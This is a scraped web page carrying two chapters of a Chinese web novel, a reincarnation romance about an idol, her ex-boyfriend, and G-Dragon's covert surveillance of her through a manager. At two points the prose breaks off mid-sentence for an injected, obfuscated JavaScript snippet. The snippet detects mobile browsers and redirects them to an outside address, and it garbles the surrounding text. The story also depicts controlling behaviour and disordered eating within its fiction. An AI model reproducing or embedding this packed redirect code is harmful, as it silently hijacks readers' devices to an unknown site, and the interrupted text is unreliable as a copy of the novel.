江留月想。 而今天,她后知后觉的意识到。 ————那不是她的游乐场。 从来不是。 而是狩猎场。 而是龙的利爪中央。 31.隐形风暴 31.隐形风暴 办公室真的太闷了,江留月最终还是选择在权志龙来之前就离开这里。 “……这边结束之后,让志龙哥来找我吧。” 江留月将李顺英写好的自白书丢在了桌子上。 一张轻飘飘的纸,上面的字也是哆哆嗦嗦的。 李顺英交代的事情包括且不限于汇报行程、汇报江留月任何时间所在位置、汇报她在行程中的言谈举止、她最近扩张的人际圈、 拒绝一些通过他认识江留月的圈内人、在异性示好的时候暗示她是权志龙的女友等等,有几个熟悉的名字,更多的是江留月以前 都不觉得会跟自己有交集的人。 南思风在旁边都要气疯了,因为从这些工作中,可以看到,李顺英实际上的权力早就和他这个正经大经纪人差不多了,更不要提他那额外的收入了。 他骂骂咧咧的一直逼问,李顺英才扛不住压力的越说越多,后面实在是太不像话了,反而是杨贤硕让他们都闭嘴了。 “我实在是没有心情让大家去见证更隐私的事情了。” “我去透透气。” 江留月一句话堵住了杨贤硕的嘴,自己起身离开了办公室,此时正是工作日的下午,YG的户外阳台几乎没有人,江留月在那里找 了个露天椅子坐下就开始发呆。 无数想法和念头在她脑子里反复打滚,她觉得胸口很闷,又有一种说不出的空虚感。 大吵大闹或者崩溃哭泣这种戏码在数年前就已经上演过了,哪怕是演戏,江留月都觉得十分没有必要。 她想要不然干脆趁机分手,但很显然,这种拉锯战里,她会很吃亏,权志龙此时还不如当年成熟呢,万一想不开闹个公开,那就 更麻烦了。 真麻烦,真腻烦,真令人头痛。 想到自己为自己安排好的事业线因为这种鬼扯的事情突然被打乱甚至完蛋,江留月就一肚子怒火涌上心头。 要不然干脆现在直接叛逃回国算了。 江留月不切实际的想,此时韩流大热,叛逃回去虽然可能会损伤个人名誉,但也并非完全没有活路。 “……这样的话,韩国的粉丝得有多伤心啊。” 想完了,江留月又像是霜打的茄子一样蔫了。 不管前世今生,粉丝对于江留月来说都很重要,在她即将崩溃的时候,是粉丝们的支持和热烈的爱意让她再次生出血肉和好好生 活的勇气,韩国的粉丝也是,哪怕她和YG闹掰,也一直默默的支持着她。 江留月和YG闹掰之后,寥寥几次回韩国的行程,粉丝们都跑到了机场接送机,太久太久没见,很多人都红着眼圈,小声的叫着她的名字。 天寒地冻或酷暑,她们不知等了多久,凑到了跟前,却只是鼓足勇气问道: “Alice,过得好吗?” 如果贸然回国,对韩国粉丝来说也太晴天霹雳了…… 不,就算是内娱粉丝,也大多是有着YG家族粉属性的,更不要说她的粉丝里还各种CP粉,大家虽然平日里DISS多,但此时团粉属 性还是很明显的,她的“叛逃”搞不好会整得粉丝们四分五裂…… 更不要说她最近个人专辑也开始预热了,不管是INS还是微博都在勤快更新,粉丝们正是欢天喜地的等待新物料和新歌新舞台的 时候,这甚至是九天雷劫的程度了吧…… 江留月越想越烦心,她此刻对爱情的纠缠厌烦至极,只觉得这段不健康的恋爱简直是毁了她对未来美好生活的一切向往。 因为实在是太郁闷了,她干脆在户外椅子上蜷成一团,脸埋在膝盖里,只想安生的躲避一会儿。 不知道过了多久,她险些都要迷迷糊糊睡着的时候,忽然感到有人站在自己面前。 江留月:“……” 她深吸了口气,才做好了面对权志龙的准备,但当她抬起头,却看到了是一个意想不到的人。 “……” 来人却很淡定,甚至露出了温文尔雅的笑容:“明月,过的好吗?” “……” 江留月的头真的好痛。 谁来告诉她,为什么金优会出现在这里啊!!!!! 可能是她的表情太明显了,金优给出了解释:“因为你一直不肯联系我,所以我只好来找你了。” 江留月:“……” 怪吓人的。 这个哥,怎么感觉和自己记忆里面的不太一样。 江留月谨慎的不说话,只是盯着对方,2014年的金优比她记忆里的任何一个时段都要显得更为年轻,但不知是否是因为灵魂属于2024,所以气质相对沉稳许多。 金优在她旁边坐下了:“怎么了,还是不愿意和我谈谈吗?” 江留月揉了揉额角:“你很奇怪,YG又不是什么人都能随便进来的地方。” “我高尔夫打得很好,杨社长约我今天来他的办公室里品鉴他刚买到的进口球杆,然后一起共进晚餐。” 金优倒是坦诚:“明月,我比你回来的时间更早,我已经回到这个时间一年了。” 江留月:“……” 信息量太大,她需要处理一下。 此时是2014年的3月末,她回到这个世界大约是2个月的时间,如果金优来了一年,那这个家伙就是在2013年的3月左右回到了十 一年前的世界? 江留月感到了强烈的违和,她看着眼前这个年轻的金优,只觉得额头一阵又一阵的抽痛。 金优太熟悉她了,此时狡辩显然没有意义,但她也确实不想和他去聊什么穿越心得这种鬼畜话题。 “……为什么会出现这种事情呢?” “你为什么在这?我又为什么在这?” 但,显然也没别的话题可聊。 江留月选择单刀直入:“你既然来了一年,应该有比我更多的信息才对。” 金优摇了摇头:“我只是一觉醒来就来了,你知道的,我13年的处境很差,当时醒来的时候人还在国外,光是筹钱回来,然后在 那我那个地狱一样的家里头爬上来就很难了。” 哦……那确实很难。 江留月一时有些语塞,最后干巴巴的说了一句:“辛苦了。” “不辛苦。” 金优笑了一下:“如今也能见到你了。” “……” 这话题方向不对。 江留月踌躇片刻,还是选择了坦白局。 “我们已经分手了,你应该没忘记吧,这样继续纠纠缠缠的,不好吧。” 她和金优,是在一起潦草,分开得更潦草,属于是交往之后就立刻开始后悔,找到了点机会立刻就分的那种。 金优闻言,表情也挺平静的:“你和权志龙的关系,也早就该分手了。” 江留月:“……” 哥们,你哪壶不开提哪壶是吧!? 她今天一整天都被意外牵着鼻子走,还时不时要被大量信息轰炸,此时烦不胜烦:“会分的,放心吧,会分的。” 狗男人们,滚出我的生活!!! 别挡着我走事业线啊!!!!! 金优:“什么时候呢?” 江留月:“……” 不是她的错觉啊,这位哥看起来已经不是曾经的卡皮巴拉了,而是变得有些咄咄逼人。 怎么,心里不平衡,非要看权志龙跟他一样变成前男友?! 江留月想要毒舌一下,但看到金优的时候,她却又忍不住一阵心虚。 因为,她和权志龙闹得最难看的那段时候,一直都是金优在她身边帮忙,就连最后闹掰,也是金优要了男朋友身份,差点给权志 龙气得吐血,权志龙实在是受不了这种屈辱和刺激,才和她断了个彻底。 她当时和权志龙闹得太难看了,有阵子一天24小时里20小时都在骂权志龙不是个东西,恶意折磨权志龙的时候,金优也没少出 力,她实在是没脸能在金优跟前说‘啊不好意思其实我现在还想凑活过’这种话。 她叹了口气,挑拣了点还能保住一些颜面的话:“等权志龙没用的时候,我自然就分了。” 这话一说,她就有些理直气壮了。 毕竟事业型女人,就是凡事都可以为事业铺路的,都要踩一踩,是没有什么良心可言的。 江留月的话语流畅了不少:“他现在好歹也是顶流制作人,手里的资源多得很,我好歹也要把他能利用的给利用了,能榨干的榨 干了再分手吧。” “这些就算了不起的G-Dragon给我的分手费呗。” 她说完这些,心里也舒服了不少,想着待会儿权志龙来了,必然要狠狠演她哥一波大的才算完。 金优听完她这些话,表情依然淡淡的:“这样就算了?权志龙那么对你,你就这样轻轻地放过他了?” 江留月顿了一下。 她的眼前划过很多画面。 权志龙通红的眼睛,瘦骨伶仃的身体,支离破碎的眼泪和沙哑到说不出话的声音。 他曾经卑微到,跪在地上拽着她的衣角,乞求她不要离开,乞求她的原谅。 他歇斯底里的咆哮,把房间里能砸的东西都给砸了,然后一边说着狠话一边用力的抹去自己脸上的眼泪。 江留月总是恶意的戏弄他,给他希望,见面之后又争吵,然后又一次次丢下他。 权志龙总是怀揣着希望和雀跃,将自己打扮的漂亮又得意,带着忐忑的隐秘快乐来找她,刚开始气氛总是轻松愉悦,但很快江留月就会故意挑起话头来吵架,权志龙忍了又忍,总是被气的浑身发抖,努力的为自己辩解,又最后沦落成语无伦次的保证和绝望 的哽咽。 她哪有轻轻放过他? 她都要把权志龙给拆碎了,砸烂了。 “……不关这个他的事儿。” 江留月硬邦邦的说道。 她没有说得很清楚,但金优明白她的意思。 2014年的权志龙不应该为2017年权志龙的行为买单。 “不要自己骗自己了,这根本没有区别。” 金优不应该如此意气用事的说这种话,但他还是因为不甘心而脱口而出:“他该干的事儿早就干了不是吗?他难道不用为此付出 代价吗?” 这话一出口,金优就后悔了。 江留月本来还有些飘忽的眼神忽然变得冷漠起来。 她被刺痛了。 代价? 如果要问代价,也许2014年的权志龙不明白,2024年的权志龙一定懂。 入伍前,她就险些折磨掉了权志龙的半条命,待他用两年兵役的时间努力搭建出了自我,又鼓起了勇气来找她的时候,她身边已 有金优,权志龙不敢置信的大闹一场,江留月却全程维护金优,将陈谷子烂芝麻的事情都拖出来狠狠闹了一通。 权志龙快被她气得厥过去了,脸色惨白,眼泪不争气的往下掉。 他的身体变得健壮,精神变得坚韧,可面对江留月的时候,他依然脆弱得不堪一击。 “你为什么要这样对我,塔伊。” 权志龙呼吸都要上不来了,说话的时候一直在发抖:“如果你不爱我的话,为什么要给我写信,为什么要说那种话。” 他本不想将这样的宝物拿出来用在争执里,此刻也顾不上了,几乎是抖着从怀里拿出那封信。 那是江留月的手写信,被摩挲得都要近乎透明了。 江留月本来绷着的小脸骤然空白了一瞬。 羞耻感火辣辣窜上了她的脸,她下意识的看了一眼金优,金优的表情也很愕然。 江留月有些手足无措。 她日日夜夜骂着权志龙,恨着他,结果到头来却偷偷给他写信。 简直是她自轻自贱的铁证。 江留月打了个寒战,抖着手,从权志龙的手中把信给抽走。 他一定很爱这封信,以至于对方是江留月的时候,他都有些舍不得的想要抓住,又强行忍住,表情中也多了一些安稳。 江留月看着这封信,表情似乎变得柔软。 权志龙断断续续的喘息着,情绪因为她的表情又变得平和了一些,他因为之前的争吵变得疲惫,这会儿才算稍微放松了一点。 然后,他就看到,江留月抬手将那封信给撕了。 她撕得动作仓促又用力,像是迫不及待的否认什么一样。 权志龙愣住了,因为冲击太强,他反而做不出什么反应。 “怎么了,志龙哥。” “你连这种东西也相信吗?这样的信,我给每个当兵的哥哥都写了。” “没什么大不了的。” “你想太多了,这种客气话都当真了。” 纷纷扬扬的纸片落下。 江留月露出残忍的笑容: “既然你误会了,那就不能留着了,不是别的,我怕我男朋友会误会。” “那多让人伤心啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900267|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 权志龙其实没太听清这些伤人的话。 他剧烈的头痛和耳鸣让他眼前发黑,想说话却上不来气,手脚冰冷的发抖,整个人一下子就被抽走了精气神。 混混沌沌的回到韩国之后,权志龙大病一场。 江留月对此漠不关心,看似正常工作生活,但她也并没有觉得多快意。 她总是梦见生病的权志龙。 权志龙在梦里也在生她的气,将自己埋在枕头里,只给她一个脊背。 好瘦好瘦。 江留月在梦里,比在现实中要坦诚一些。 她也不说话,只是爬上床,靠在她哥的背上,抱着她哥的腰,一个劲掉眼泪。 恋慕也好,怨恨也好,本来就是很难忍住的东西。 听说他在军队住院了,江留月一直都睡不好,一个劲儿做噩梦,她实在是撑不住了,爬起来给权志龙写信。 她在信里头写,哥哥不要痛,不要生病,在军队里好好生活,等回来的时候一起吃饭吧。 她认为这封信,官方又含蓄,不出什么错。 偏偏权志龙读懂了,日日夜夜将信藏在心口。 她总觉得自己恨死了权志龙,恨他的傲慢,他的偏执,他扭曲的爱意将她也扭曲成不像话的样子,恨他的掌控欲和不尊重,恨他 从不肯真正倾听她的心。 翻来覆去,她却只恨一件事情。 她恨即便面对如此扭曲的爱意,即便面对这个给予她无数痛苦的男人,她依然克制不住的,想要向他跑去。 她太想他了。 她因此怨恨想念权志龙的自己。 江留月在梦里陪了权志龙很久,久到现实中权志龙早就康复。 奇怪的是,梦里面的权志龙还是天天躺在床上,背对着她。 江留月气鼓鼓的抱着他,两个人谁也不说话。 这样的梦境持续到几年后。 她在巴黎,遇到了权志龙。 他看起来精神真好,状态也不错,他们两个人打了招呼,权志龙走过来揽着她的肩膀,他们微笑着合影,权志龙问她,我们塔伊,过得好吗? 她点点头。 权志龙的脸上于是出现温柔的笑意。 他抬起手,似乎想摸摸她柔软的头发,最终还是选择松开了。 “不弄乱你的发型了,今天那么漂亮。” 那天晚上,江留月又梦见权志龙了。 她默不作声的爬上床抱住他,今天没什么伤心的事情,她却还是没能忍住,在梦里面啪嗒啪嗒的掉眼泪。 见面之后,她好像更想,更想他了。 这一次,梦里的权志龙转过身来了,江留月看见了他熟悉的脸庞,浅褐色的眸子,那双眼睛温柔的注视着她。 江留月嘴巴一扁,泪珠不断从脸庞上滚落。 “哭什么呢,坏小孩。” 权志龙哑然失笑,伸手擦掉她的眼泪。 江留月握住他的手指,哽咽着含含糊糊的叫了一声哥哥。 “哥哥对不起。” “那不是我的真心话。” 权志龙低头吻她,将她抱在怀里,好像她还是那个十几岁的小孩,受了委屈就躲在哥哥的怀里,哥哥没好气的骂她,又舍不得的 亲她: “别哭了,不怪你。” “是哥不好,是我没保护好你,才让你掉了那么多眼泪。” 江留月睡了个很好很好的觉,醒来的时候脸上泪痕早就干了。 从那之后,她在梦里面没有再见过权志龙。 他们两个人就像是结清了彼此之间的恩怨,不会再到梦里对着彼此掉眼泪了。 江留月从那之后,就觉得,权志龙欠她的,已经一笔勾销了。 因此现在碰到李顺英的事情被提前踢爆,她很难再愤怒再上头,包括发现权志龙干的别事儿,她也很难又恨上权志龙。 对于2014年的权志龙来说,确实欠揍。 但对于她心中的权志龙来说,他们已经两清了。 “别做多余的事情,金优。” 江留月用冷冰冰的声音说道:“那是我们两个人之间的事情。” 她这几天本还为要不要启用金优而犹豫,这会说完了话,倒像是放下了什么包袱一样,松快了不少。 “我不想和前男友纠缠不清,权志龙的事情我会尽快解决的。但你也是,我们不要见面,就这样各自过吧。” 她瞥了一眼金优的身上,定制西服妥帖得体,显然金优已经在自己家里杀出了血路。 “既然有了新的机会,我们的人生应该也做出不一样的选择。” “今天我就当你是社长的客人,和我在这里寒暄了一下,可以吗?” 金优眼睛一眨不眨的看着江留月。 那张漂亮的脸蛋上,还挂着的浅浅的礼貌笑容。 “好,如果这是你希望的。” 金优深吸一口气,选择后退一步。 两个人再无什么能说的话,金优沉默十几秒之后,微微颔首作为道别,转身离去。 直到金优离开,江留月也看着他离开的背影,眉头蹙着,脑海里有什么乱麻正在逐渐清晰,她感觉自己似乎抓到了什么,却又在 攥紧的时候失去思绪。 她一直目送着金优通过半开放走廊,又盯着他进了电梯,前往社长办公室,这才缓慢的松了口气。 她真怕金优和权志龙撞上。 也许是太过专注,江留月并没有注意到,在绿植的掩护之下,户外花园的另一侧恰巧是走廊尽头的洗手间里,有人颤抖着,从窗 台取走了正在录音的手机。 南思风捂住自己的嘴,勉强让自己保持安静。 权志龙在十分钟之前来到了办公室,杨贤硕让其他人都离开了,李顺英被安室长带走后,南思风只是想来上个厕所。 结果在厕所的窗户那恰巧对着户外花园的沙发,距离太近了,以至于有点尴尬。 偏偏江留月还坐在那,南思风不想这个时候惹到她,于是想要拉上窗户,却正看到一个男人走过来。 接下来两个人的对话,超过了南思风的想象,他只来得及拿出手机,点开录音机,尽量将收音筒对准他们。 南思风神思恍惚,他将手机藏好,几乎是跌跌撞撞的离开了洗手间。 他如同怀揣宝物的孩童,只想找个地方赶紧藏起来,好好审视怀里宝物的价值。 此时的南思风并没有意识到,自己将会掀起多么狂暴的波澜。 32.Monster 32.Monster 事情到底是从什么时候开始失控的呢? 一开始,只是出于保护的想法。 年幼、单纯,甚至语言不通的漂亮孩子贸然闯入了阴沉沉的半地下练习室,用懵懂天真的眼神注视着每个人,理所当然会变成那 些隐藏在暗处鬣狗的目标。 一开始只是于心不忍,又或者是正义使然。 尽管权志龙不认为年少时期的自己,有多少浩然正气。 他十二三岁就开始混迹地下,人性在这里互相撕咬,向着利益攀爬,出道是唯一的气孔,所有人的都像是热带鱼缸里的鱼一样铆 足劲向上游去。 有漂亮艳丽的孔雀鱼,有被撕咬到遍体鳞伤的蝴蝶鱼,有带着毒的鳗鱼,也有因为速度过快所以只能在鱼缸里处处碰壁的剑鱼。 有些鱼是被抓的,有些鱼是自己爬上餐桌的。 可能是犯罪,也可能是伤害,也可能是交易。 权志龙无法辨别,他也不过是个自身难保的少年,于是只能闭紧双眼耳朵,独自趟过泥泞的,想要把人拖拽下去的沼泽。 十七八岁的时候,权志龙有时候也会后悔,后悔自己为什么要多管闲事,引来了这么一个大麻烦,但他放不下尊严和面子,在所 有人都将大麻烦视为他的所有物和责任的时候,只能咬着牙扛了下来。 他对江留月的态度忽冷忽热,有时候很好,有时候恶劣的缘故,大抵也是如此。 也许是所有人都将他视为责任人,因此江留月那些懵懵懂懂闯下的祸,说错的话,悉数成为权志龙承受的斥责甚至惩罚。 有时候也心生厌恶,有时候也压制不住脾气对着她咆哮,吓得尚且年幼的江留月噙着泪瑟瑟发抖,但更多的时候,权志龙是无可 奈何的。 就像是忽然在路边捡了一只病恹恹的小猫,明知自己可能承担不起医药费,明知可能是甩不掉的麻烦,也可能会被狠狠挠伤,但 就是狠不下心将她重新丢回路边。 付出的无穷尽的金钱、心血,小猫逐渐痊愈,变得美丽而蓬松的时候,它已经不再是一只可以被随意对待的小猫了。 自己付出心血养出来的宝贝,怎么可能会允许他人的觊觎和践踏? 不知不觉中,权志龙就成了江留月的保护者,理所当然的将她划为自己的阵营,辛辛苦苦的养育着。 【这孩子是属于我的。】 单纯的,没有任何欲望的,无关男女之情的占有欲,在这一刻为两个人的关系定论。 然后,她越来越美丽,越来越耀眼,权志龙的心也越来越焦灼。 他害怕自己照顾不好,更舍不得让给任何人。 如果连他都照顾不好,还有谁能照顾好江留月呢? 没有了。 权志龙非常笃定。 如果说别人是有被害妄想症的话,权志龙就是有了“塔伊被害妄想症”,害怕她受伤,害怕她遇到危险,害怕她挨饿受冻,也害 怕她生病,不知不觉中,权志龙的注意力和精力都倾注在了她的身上。 精心培育的花朵,细心养护的小猫,在他的怀抱里躲避风雨的蝴蝶。 他注视着江留月的时候,也在注视着那个将全部身家和心血押注在这孩子身上的自己。 要是受伤了可怎么办好。 所以,一些特殊的行为,也是没有办法的。 “只是关心、保护罢了。” “我做错什么了。” 这样理直气壮的说话,必然就会理所当然的挨打。 杨贤硕自从权志龙出道之后,就几乎没有动手打过他了,这次是真的没忍住,一脚踢了上去。 “你没错?你现在是真的精神脑子都不正常吗?” 杨贤硕气的呼哧带喘,安室长赶紧扶着他,生怕这位脆弱的社长一下子厥过去。 即便是大男子主义如杨贤硕,也说不出这种在自己的女友身边布控的行为是正常的。 他是知道权志龙压力大,精神紧绷,可能作为艺术家的存在还有一些敏感,但这种程度显然已经超过了合理的界限。 “你还记不记得你跟我说过什么。” 杨贤硕真心不想当什么恋爱教练,但也不想看着权志龙和江留月真的走向分崩离析的结局。 虽然他总是对江留月挑三拣四阴阳怪气,这丫头最近也疯得离谱,可杨贤硕那不断增长的银行卡余额告诉他,这不仅是个大财 神,还是另一个大财神的精神□□剂,万万是不能溜出他的手掌心的。 本来只是想教训两句权志龙让他收敛一下,眼下一看权志龙这死不悔改的样子,杨贤硕都觉得良心痛,可能是因为这两年得了女 儿的缘故,语气中多少带了一些老父亲的语气:“你跑过来跟我说要跟那丫头交往的时候,你还记不记得跟我说过什么。” 那是2008年的年末,初冬的时候,权志龙穿着一件薄毛衣站在办公室门口等他,冻得说话的时候一直咳嗽。 杨贤硕让他进去再说,权志龙却沉默了很久没说话。 最后是杨贤硕不耐烦了,让他不说就滚,权志龙才抬起头,说: “我要和Alice交往,所以来跟您说一下,希望您可以允许。” 哦,还以为出了什么事儿,原来是谈恋爱啊。 等等。 谁? 杨贤硕震惊,杨贤硕愤怒,杨贤硕破口大骂,杨贤硕大打出手。 哦不对,是单方面动手。 社内恋爱这种东西,杨贤硕自己也很心虚的不能拿出来禁止(杨贤硕的妻子是他公司女团成员),但听到这样的话,他还是高血 压上涌的给权志龙一顿好打。 先打,再骂,后罚跪。 一套流程走下来,权志龙也没有松口。 杨贤硕对他破口大骂,问他是不是翅膀硬了,觉得自己厉害了,是不是以为公司不能把他给赶出去。 权志龙一概不认,挨骂挨打都是老实受着,却怎么都不肯后退一步。 杨贤硕血压几乎爆表,抖着手抽了好几根烟,最终在拉扯和博弈中选择了妥协。 权志龙做出了很多利益上的让步,求到了和江留月的社内公开,双方也因此做出了约法三章, 比如不能在外面做出情侣之间的亲密举止,如果被拍到就要自己掏钱买新闻,还有绝对不能在江留月成年之前做过分行为等等。 只是从那之后到如今已经六年,这两个人整天整的鸡飞狗跳,杨贤硕早就眼不见为净了,曾经的约定那更是十条有九条被废弃, 如果不是今天闹这一出,杨贤硕自己都想不起来。 “我知道。” 权志龙咬着嘴唇,表情生硬。 他坐在椅子上,看着浑身都不得劲。 可惜了,今日的权志龙已不是当年孤立无援的少年,而是独当一面的台柱,莫说是挨打罚跪,刚才那踹了两脚后,安室长还要忙 不迭的给揉一揉,再拉个椅子给权志龙坐下,千万别伤了太子爷的金贵身子。 面对这样一个已经搞不动也盘不圆的刺头,杨贤硕真的烦透了,索性大手一挥送客。 “你自己去跟Alice说吧。” “说你没有做错什么事情,不需要她的原谅。” 杨贤硕指着权志龙的鼻子说道:“你一定得这样说,我要看看你会不会被抽巴掌。” 这么一想,杨贤硕竟然感到了一种微妙的期待和爽感。 “你小子,一定会被抽巴掌的。” “记得选个好点的粉底液,别被记者拍到你带着巴掌印。” 权志龙拍了拍自己被踹疼的腿,沉默的站起来鞠了一躬离开了办公室。 他的心里并没有表现得那么的踏实,反而有一种烦闷又空虚的慌乱与无措。 来之前已经做好了面对江留月的准备,结果推开门之后办公室里只有社长和安室长,挨完骂之后又发现,事情比想得还要糟糕, 李顺英那个蠢货把该说的不该说的基本都说完了。 权志龙额头一阵抽痛。 李顺英这张牌,好与烂都在于,他是个看着就没什么实际也同样没什么城府的人。 只需要一些好处就能为自己卖命,但也没胆量真的做出什么坏事,相反,李顺英脾气温和,做事仔细,也没什么真的坏心眼,为 自己做的那些事情,也是因为李顺英也不觉得这是什么坏事才去做的。 他只是委托对方帮忙留心江留月的身体状况,饮食情况以及所有行程的安排、内容,再排掉一些安全隐患罢了。 只是比一般的经纪人的工作做得更加的仔细罢了。 他应该被夸奖而不是被打。 “……” 如果这样解释的话,真的会被抽耳光吧。 权志龙吐了口气,推开了户外花园的玻璃门。 他一眼就看到了江留月,那孩子身上套着他在日本买的宽大卫衣,戴着他的棒球帽,正蜷缩在环形椅中,双手拢在怀里,头靠在 膝盖上,听到门的声音之后,她立刻循声看了过来。 “……” 真像个听到铃铛响的小猫啊。 权志龙莫名的想。 刚才烦闷、焦虑、心虚的情绪一扫而空,他只是忽然感到手痒,想要将这只小猫从头到尾都揉一遍。 小猫没有在看到他的时候就跑过来,权志龙又找到了一点儿犯错的实感。 他又开始心虚起来,步伐都慢了一些,简直像个赖皮鬼一样磨磨唧唧的往江留月身边走。 不等江留月说话,他便恶人先告状: “社长已经打了我了。” 他咳嗽了两声:“狠狠地打了,还踢了我。” 见江留月没有反应,他又补充了一句: “我做错了,我以后不会了。” 如此从善如流的道歉,看似理直气壮,其实慌得不行。 因为江留月一直没什么反应。 权志龙又走近了一些,江留月今天卫衣帽子叠棒球帽子,遮住了大半张小脸,他有些急躁的想看到她的表情。 看清了,江留月应该是很生气的,因为看起来没什么表情,抬着头看着他,小嘴巴抿得紧紧的,嘴巴的弧度向下撇的很厉害,脸 蛋微微泛红…… 是哭过了吗? 权志龙心里忽然揪了一下。 迟来的后悔在这个时候忽然翻涌出来,让他不自觉的抬起手去摩挲江留月的脸颊。 “对不起,塔伊,哭了吗?” “别哭,对不起,是我太过火了,baby呀,是哥哥太过火了。” 他宽大的手掌轻松的就能包住江留月的小脸,大拇指蹭过了被帽檐盖住的眼角,有些烫,也有些湿润。 果然是哭过了。 权志龙想亲亲她,但这帽子太碍事了,他于是伸出手摘掉了江留月的棒球帽。 “别……” 江留月想要阻止已经晚了。 棒球帽连带着卫衣帽子都被摘下,银白色的卷发如同月下的海浪一般翻涌披散开来。 权志龙也怔住了。 银白色的发丝带着染发后精油熟悉的味道,眼前的人却看起来因为过度的视觉冲击而有些陌生。 他被捧在手心里的小猫。 他脆弱、美丽、轻盈的蝴蝶。 他的阿芙洛狄忒。 令人着迷,也令人着魔的圆月。 “你染头发了。” 权志龙轻声说道。 他撩起江留月一缕头发,因为一直藏在帽子里,头发也温热温热的,但片刻之间,就失去了温度,凉凉的从手里滑落。 他的呼吸有些急促和凌乱,褐色的瞳孔有着太多复杂的情绪。 在他不知道的地方,江留月在发生改变。 他不知道这是好的,还是坏的。 他只知道,这孩子在逐渐变成令他感到陌生的样子,渐渐地脱离了他的控制,变得更加的自由、轻盈,仿佛随时就要飘散一般。 说不上是生气,也没有道理生气,银色的头发很适合她,她看起来更为洁白、轻盈、圣洁,比他记忆中的每一个样子都看起来更 美。 “……” 大约是被他这突然的话打乱思绪了,江留月没有讲话,但她黑溜溜的大眼睛转了一圈,带着点疑惑的看着他。 大概不懂为什么权志龙的重点忽然跑偏。 权志龙将这个话题很快掠过:“很漂亮,很适合你,我会找几件适合你的珠宝作为礼物的。” 在这光洁的额头上放上一枚红宝石吊坠,在她的脖子上套上珍珠套链,在手指上戴上闪闪发光的钻石。 权志龙几乎是瞬间就冒出无数个想法要为江留月置办这样或那样的珠宝和衣服。 “……哥。” 江留月用带着警告的语气抓住了权志龙抚摸她脸颊的手。 在金优走后,她一度沉湎在过去的记忆里,以至于心思恍惚失去了质问权志龙的先机,搞得现在都不适合大吵大闹大演一波,但 这不代表她会允许权志龙像是个变态一样在这里一直摸她的脸和头发!! “对不起,我只是特别想摸摸你。” 权志龙的大拇指掠过江留月的嘴角。 他的眼神过于直白,以至于江留月愤怒的踢了他一下。 “呀!!” 权志龙受了这一下,然后低下头吻了一下她的嘴角。 只是亲了一下嘴角。 江留月彻底恼了,她用力的去推权志龙,想要把对方推开,权志龙顺势推开,两只手扣住她的手,淡褐色的瞳孔充满攻击性的凝 视着她。 在她愤怒的表情里,权志龙微微一笑。 江留月本来因为过去的记忆而对权志龙产生的那种愧疚已经一扫而空,怒火无须大小演直接从胸口窜上来,几乎立刻就抬手要给 这个登徒子一个耳光。 权志龙却紧攥着她的手,然后,慢条斯理的在她面前跪下了。 他看起来那么从容闲适,甚至透出几分游刃有余来。 江留月大受震撼:“……” 她惊骇的要抽回自己的手,权志龙却紧紧地攥着,他也不说话,只是用那双褐色的眼睛盯着她,眼神热烈直白,毫无歉疚,反倒 是像要把她吞掉一样。 江留月被这侵略性极强的荷尔蒙冲得头昏脑涨,也要被眼前人的厚颜无耻给惊呆,她脸蛋都红了,不知道是先抽回自己的手好, 还是先把权志龙从地上拽起来好。 神啊,这可是在公司的户外花园,万一有人这个时候过来,她以后都不会想来公司了!! “原谅我吧,塔伊啊。” 权志龙却丝毫没有可能被抓到看到的自觉,用毫无愧疚的语气抓着她的手在唇上亲了一口,然后恳切的说道: “你知道哥哥对你的心的,对不对?” ……混蛋。 这就是个混蛋!!!!! 江留月气得眼睛里腾出水雾,手腕却被权志龙紧紧攥着动弹不得,她太气了,太羞耻了,被拽的动弹不得,她就抬起脚往权志龙 身上踢。 这一下没留力气,权志龙硬生生挨了一下,却只是闷哼了一声,脸上露出痛楚的表情,但没松手,只是眼睛湿漉漉的看着她,第 二下江留月就怎么都踹不下去了。 她要被自己的窝囊和对方的无耻给气疯了,脸颊通红,嘴唇都颤抖了起来,权志龙的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918821|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线再次落在那张小巧的红润的嘴唇上,然 后微妙的垂下睫毛。 江留月很明显察觉到这过于直白的目光。 “你、你、你……” 江留月声音都在发抖:“你不许想乱七八糟的东西……” 她听起来快要哭了。 权志龙反而忍不住笑了,觉得她可爱得要命。 “你在想什么呀,脑子里乱七八糟的小孩。” “你才在想什么……”江留月的声音真的带哭腔了:“哥你到底在干嘛啊,你、你总是做这种过分的事情……” 权志龙的心口涌出细密的怜爱,知道自己把人给逼急了,他于是稍微后退一些,给江留月喘息的空间,眼睛最后扫了一下她的嘴 角,乖乖低下头作赔罪样。 江留月总算找补回来,忙不迭的开始骂他,骂的无非就是那些李顺英招供的东西,权志龙左耳进右耳出,嘴里嗯嗯的,其实,他 的胸口里早装满了扇动翅膀的蝴蝶,痒痒的,酥酥的,喉咙里也是,似乎有什么,要涌出来一样的,根本没在听了。 怜爱的,渴望的,炙热的,混乱的,复杂的情感。 塔伊会知道他的想法吗? 她会知道,自己看的是她的嘴角吗? 曾经因为催吐而撕裂的嘴角,现在已经痊愈了,看不出什么痕迹,就像是他的塔伊不会知道,那裂口也存在于他的心上一样。 那个裂口还没有痊愈。 塔伊会知道他会在她熟睡之后为她涂抹护肤霜吗? 大概是知道的,但她不会知道,他有多认真仔细,所以能发现她那不正常的受伤的嘴角。 不正常的消瘦,垃圾桶里的食物,含糊其辞的视频电话里总是消失的用餐时间,总是不自觉抚着喉咙的动作。 